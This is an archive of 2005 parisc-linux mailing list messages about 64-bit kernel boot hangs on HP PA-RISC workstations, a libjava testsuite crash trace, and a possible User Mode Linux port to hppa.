Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 9BD667D796
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Aug 2005 00:21:04 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2E1AD36006D;
	Sat, 20 Aug 2005 00:26:37 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00719-01; Sat, 20 Aug 2005 00:26:35 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9C67F36006C; Sat, 20 Aug 2005 00:26:35 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <ILESU1$F6D40EC654A84E56AFFAC27CDCE1FD84@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jq50Y/1reSEka76WZHQhaXN1IGRvb4CQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23123

On Thu, Aug 18, 2005 at 10:27:37AM +0200, Joel Soete wrote:
> mmm, is this system need ccio-dma and zalon:ncr53c720 drivers
> as does my d380?

C160 will need both ccio-dma and zalon.
we've run ccio-dma in 64-bit in the past.
I'm not as sure about zalon driver.

> On my d380 those two drivers doesn't seems to be 64bit
> ready :_( (2.6.12-pa2)

Doesn't compile or doesn't boot?

> (I expect to find simple instrumentation tools like IKD
> (but not maintain for 2.6) or LTT to help me to figure
> out if some race condition (as I suspect)
> occures or not)

There are plenty of things that don't work for palinux.
The parisc port is just doing "ok" - not excellent.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit kernel booting problem (was: B132L
	outperforms...)
Date: Sat, 20 Aug 2005 00:36:43 -0600
Lines: 51
Approved: news@gmane.org
Message-ID: <20050820063643.GC28839@colo.lackof.org>
References: <4305B8A5.9070102@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623912 16558 80.91.229.3 (22 Nov 2014 02:38:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kurt Fitzner <kfitzner@excelcia.org>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Aug 2005 06:31:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 20 Aug 2005 08:31:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2DE6E7D7A7;
	Sat, 20 Aug 2005 00:31:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11479-09; Sat, 20 Aug 2005 00:31:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 186227D7A8;
	Sat, 20 Aug 2005 00:31:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 091927D7A5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Aug 2005 00:31:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11479-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Aug 2005 00:31:12 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 732A27D79C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Aug 2005 00:31:12 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0E80B36006D;
	Sat, 20 Aug 2005 00:36:45 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01412-01; Sat, 20 Aug 2005 00:36:43 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7EBE836006C; Sat, 20 Aug 2005 00:36:43 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4305B8A5.9070102@excelcia.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: b6t0YyBdeSEkY76WZHQhaXN1IGRvbwAZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23124

On Fri, Aug 19, 2005 at 04:47:01AM -0600, Kurt Fitzner wrote:
> First is as soon as any kernel I've tried gets to enumerating EISA
> devices it hangs.

Yes - EISA is known to be broken....certain people should have
enough information at this point to write the code but
it's not trivial to get working. EISA just isn't that exciting
these days.

> The panel LEDs flash in a specific pattern.  I think
> I remember reading about how each pattern is one nybble
> of an error code

If so, that's probably documented in one of the user guides.
See "Tech Documentation" on www.parisc-linux.org.
Possibly this one:
	http://ftp.parisc-linux.org/docs/platforms/cxxx-service.pdf


> I should prolly do a ToC and grab the data for reporting,
> just haven't got around to it yet.

See the FAQ for how to report kernel bugs - some good
tips there on what's needed.


> Anyways, if I disable EISA in the kernel, I get up to
> the SCSI driver it hangs for about a minute then spits
> out a message about offlining the drive:
> 
> ncr53c720-0: rev 0xf irq 67
> ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
> scsi0 : ncr53c8xx-3.4.3g
> scsi: Device offlined - not ready after error recovery: host 0 channel 0
>  id 0 lun 0

Can you connect a serial console and capture the entire output?
Normally, one just needs to disconnect the keyboard and
talk to serial port 1 with minicom from another box.

I'm pretty sure this worked before on C200/C240/C360
machines before.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest 2.6.13-rc6-pa2 test pr :_(
Date: Sat, 20 Aug 2005 13:51:51 -0400 (EDT)
Lines: 45
Approved: news@gmane.org
Message-ID: <200508201751.j7KHpqIH017505@hiauly1.hia.nrc.ca>
References: <4305FA88.9040404@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623913 16561 80.91.229.3 (22 Nov 2014 02:38:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org (Randolph Chung)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Aug 2005 17:52:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 20 Aug 2005 19:52:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 16CE17D78A;
	Sat, 20 Aug 2005 11:52:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16253-05; Sat, 20 Aug 2005 11:51:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E23687D783;
	Sat, 20 Aug 2005 11:51:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC7707D750
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Aug 2005 11:51:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16253-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Aug 2005 11:51:54 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 30EBC7D700
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Aug 2005 11:51:54 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7KHpqnV017506; Sat, 20 Aug 2005 13:51:53 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7KHpqIH017505;
	Sat, 20 Aug 2005 13:51:52 -0400 (EDT)
In-Reply-To: <4305FA88.9040404@tausq.org> from "Randolph Chung" at Aug 19,
	2005 11:28:08 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kwh1YykMeSEkMr6WZHQhaXN1IGRvb0Do
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23125

> > TOC:
> > 
> > r2	__handle_mm_fault+0x68  (return from call to pte_alloc_map)
> > IIA	__handle_mm_fault+0x190
> > 
> > It looks as if this might have been caused by Process_3.exe in the
> > libjava GCC testsuite.
> 
> Does it always hang in the same place? How much RAM/swap do you have in 
> your system? Does it hang more/less if you disable swap?

Had another hang last night.  Here is the TOC for it:

r2	intr_check_sig+0
IIA	handle_interruption+0x30
r26,r5	code = 0x1a = 26 => Data Memory Access Rights Trap

This again occurred in the libjava testsuite:

byte compile: /home/dave/gnu/gcc-4.0/objdir/gcc/gcj -B/home/dave/gnu/gcc-4.0/objdir/hppa-linux/libjava/ -B/home/dave/gnu/gcc-4.0/objdir/gcc/ --encoding=UTF-8 -C -I/home/dave/gnu/gcc-4.0/objdir/hppa-linux/libjava/testsuite/../libgcj-4.1.0.jar -g /home/dave/gnu/gcc-4.0/gcc/libjava/testsuite/libjava.lang/SyncTest.java -d
/home/dave/gnu/gcc-4.0/objdir/hppa-linux/libjava/testsuite 2>@ stdout
PASS: SyncTest byte compilation
SyncTestSyncTest set_ld_library_path_env_vars: ld_library_path=.:/home/dave/gnu/gcc-4.0/objdir/hppa-linux/./libjava/.libs:/home/dave/gnu/gcc-4.0/objdir/gcc
Setting LD_LIBRARY_PATH to .:/home/dave/gnu/gcc-4.0/objdir/hppa-linux/./libjava/.libs:/home/dave/gnu/gcc-4.0/objdir/gcc:.:/home/dave/gnu/gcc-4.0/objdir/hppa-linux/./libjava/.libs:/home/dave/gnu/gcc-4.0/objdir/gcc:.:/home/dave/gnu/gcc-4.0/objdir/hppa-linux/./libjava/.libs:/home/dave/gnu/gcc-4.0/objdir/gcc:/home/dave/gnu/gcc-4.0/objdir/hppa-linux/libstdc++-v3/.libs:/home/dave/gnu/gcc-4.0/objdir/hppa-linux/libmudflap/.libs:/home/dave/gnu/gcc-4.0/objdir/hppa-linux/libssp/.libs:/home/dave/gnu/gcc-4.0/objdir/./gcc:/home/dave/gnu/gcc-4.0/objdir/./prev-gcc:/usr/lib/debug
Exception in thread "Thread-1" Exception in thread "Thread-2" Exception in thread "Thread-3" Exception in thread "Thread-4"

I found that Process_3.exe was generating unaligned exceptions.  This
was a result of a new macro define being added to libjava
(UNWRAP_FUNCTION_DESCRIPTOR).  This macro was incorrectly doing function
pointer canonicalization resulting in the unaligned exceptions.  I was
testing a fix for this when I got the above hang.

I have the feeling that there is at least one more circumstance where
handle_exceptions can loop.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
Date: Sun, 21 Aug 2005 09:42:48 +0000
Lines: 37
Approved: news@gmane.org
Message-ID: <43084C98.5010301@tiscali.be>
References: <ILESU1$F6D40EC654A84E56AFFAC27CDCE1FD84@scarlet.be>
	<20050820062635.GB28839@colo.lackof.org>
	<430778F2.8020406@tiscali.be>
	<20050820234126.GA20524@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623913 16569 80.91.229.3 (22 Nov 2014 02:38:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:33 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Aug 2005 09:43:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx033) with SMTP; 21 Aug 2005 11:43:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 140EC7D703;
	Sun, 21 Aug 2005 03:43:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21030-01; Sun, 21 Aug 2005 03:43:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ADAF47D6FB;
	Sun, 21 Aug 2005 03:42:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDEE97D6F1
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 03:42:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20766-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 03:42:54 -0600 (MDT)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id ED7C37D686
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 03:42:53 -0600 (MDT)
Original-Received: from (ip-213-49-168-89.dsl.scarlet.be [213.49.168.89]) 
	by xizor.is.scarlet.be  with ESMTP id j7L9gmC20882; 
	Sun, 21 Aug 2005 11:42:48 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.10) Gecko/20050802 Debian/1.7.10-1
X-Accept-Language: en
In-Reply-To: <20050820234126.GA20524@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /Sl6Yw0ueSEkU76WZHQhaXN1IGRvb0Bz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23126



Grant Grundler wrote:
> On Sat, Aug 20, 2005 at 06:39:46PM +0000, Joel Soete wrote:
> 
>>Effextively it failed to boot as Kurt describe.
> 
> 
> Ah ok. James knows about that issue already.
Yes, we already discussed about that some time ago
(whao, so long :^? <http://lists.parisc-linux.org/pipermail/parisc-linux/2005-May/026557.html> )

> I have neither HW nor interest in debugging it.
> 
Obviously, I am very interested: I have a nice d380 2way with many stuff (remote controle console, some more scsi ctrlr, second nic, 
and could also grab some serial mux (eisa iirc), a jamaica disk box (full with some 5*4Gb and 1*2Gb), just lake gfx :-)), may be too 
much intresting :^? (a wilde ago, I missed to save another d390 :_( )

> 
>>PS: Any idea about the possibility to port um?
> 
> 
> um == User Mode Linux?
> 
Obviously :^)

> It's possible. :^)
> I'm not doing it. ;^)
> 
Thanks a lot,
Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
Date: Sun, 21 Aug 2005 10:29:42 +0000
Lines: 49
Approved: news@gmane.org
Message-ID: <43085796.3080309@tiscali.be>
References: <ILESU1$F6D40EC654A84E56AFFAC27CDCE1FD84@scarlet.be>
	<20050820062635.GB28839@colo.lackof.org>
	<430778F2.8020406@tiscali.be>
	<20050820234126.GA20524@colo.lackof.org>
	<20050820235516.GE2756@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623913 16572 80.91.229.3 (22 Nov 2014 02:38:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:33 +0000 (UTC)
Cc: Jeff Dike <jdike@karaya.com>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Aug 2005 10:30:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 21 Aug 2005 12:30:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 835357D70A;
	Sun, 21 Aug 2005 04:30:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21484-02; Sun, 21 Aug 2005 04:30:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BDB3D7D70C;
	Sun, 21 Aug 2005 04:30:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 66C047D707
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 04:30:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21030-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 04:30:04 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 6DFAA7D6FF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 04:30:04 -0600 (MDT)
Original-Received: from (ip-213-49-168-89.dsl.scarlet.be [213.49.168.89]) 
	by oola.is.scarlet.be  with ESMTP id j7LATgi18781; 
	Sun, 21 Aug 2005 12:29:42 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.10) Gecko/20050802 Debian/1.7.10-1
X-Accept-Language: en
In-Reply-To: <20050820235516.GE2756@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4TJ6Y3AoeSEkTr6WZHQhaXN1IGRvb8C/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23127



Matthew Wilcox wrote:
> On Sat, Aug 20, 2005 at 05:41:26PM -0600, Grant Grundler wrote:
> 
>>On Sat, Aug 20, 2005 at 06:39:46PM +0000, Joel Soete wrote:
>>
>>>Any idea about the possibility to port um?
>>
>>um == User Mode Linux?
>>
>>It's possible. :^)
>>I'm not doing it. ;^)
> 
> 
> We gave Jeff Dike a 712 a few years ago ... hey Jeff, how's that going?  ;-)
> 
Ah cool ;^)

Jeff,

I don't have time to read all interesting <http://user-mode-linux.sourceforge.net/arch-port.html>

but my main problem is always:
[...]
  Address space layout

     Before delving into the code, you need to do some high-level conceptual thinking about how to organize the address space of a 
UML process. UML maps its executable, physical memory, and kernel virtual memory into the address space of each of its processes. 
You need to decide where to put each of these so as to minimize the likelihood of a process trying to allocate that memory for its 
own use.

     The only arch hook at this point is where in the address space the UML binary is going to load. The other addresses are still 
hard-coded because they happen to work for both i386 and ppc. UML puts its own memory in the area starting at 0x5000000 and process 
stacks 4M below its own process stack. These choices may not work on all architectures, so feel free to generalize them. To locate a 
likely area on your arch, staring at /proc/<pid>/maps of various processes on the host has been the technique so far.

[...]

Any advise for the address space to use for hppa?

Thanks in advance,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
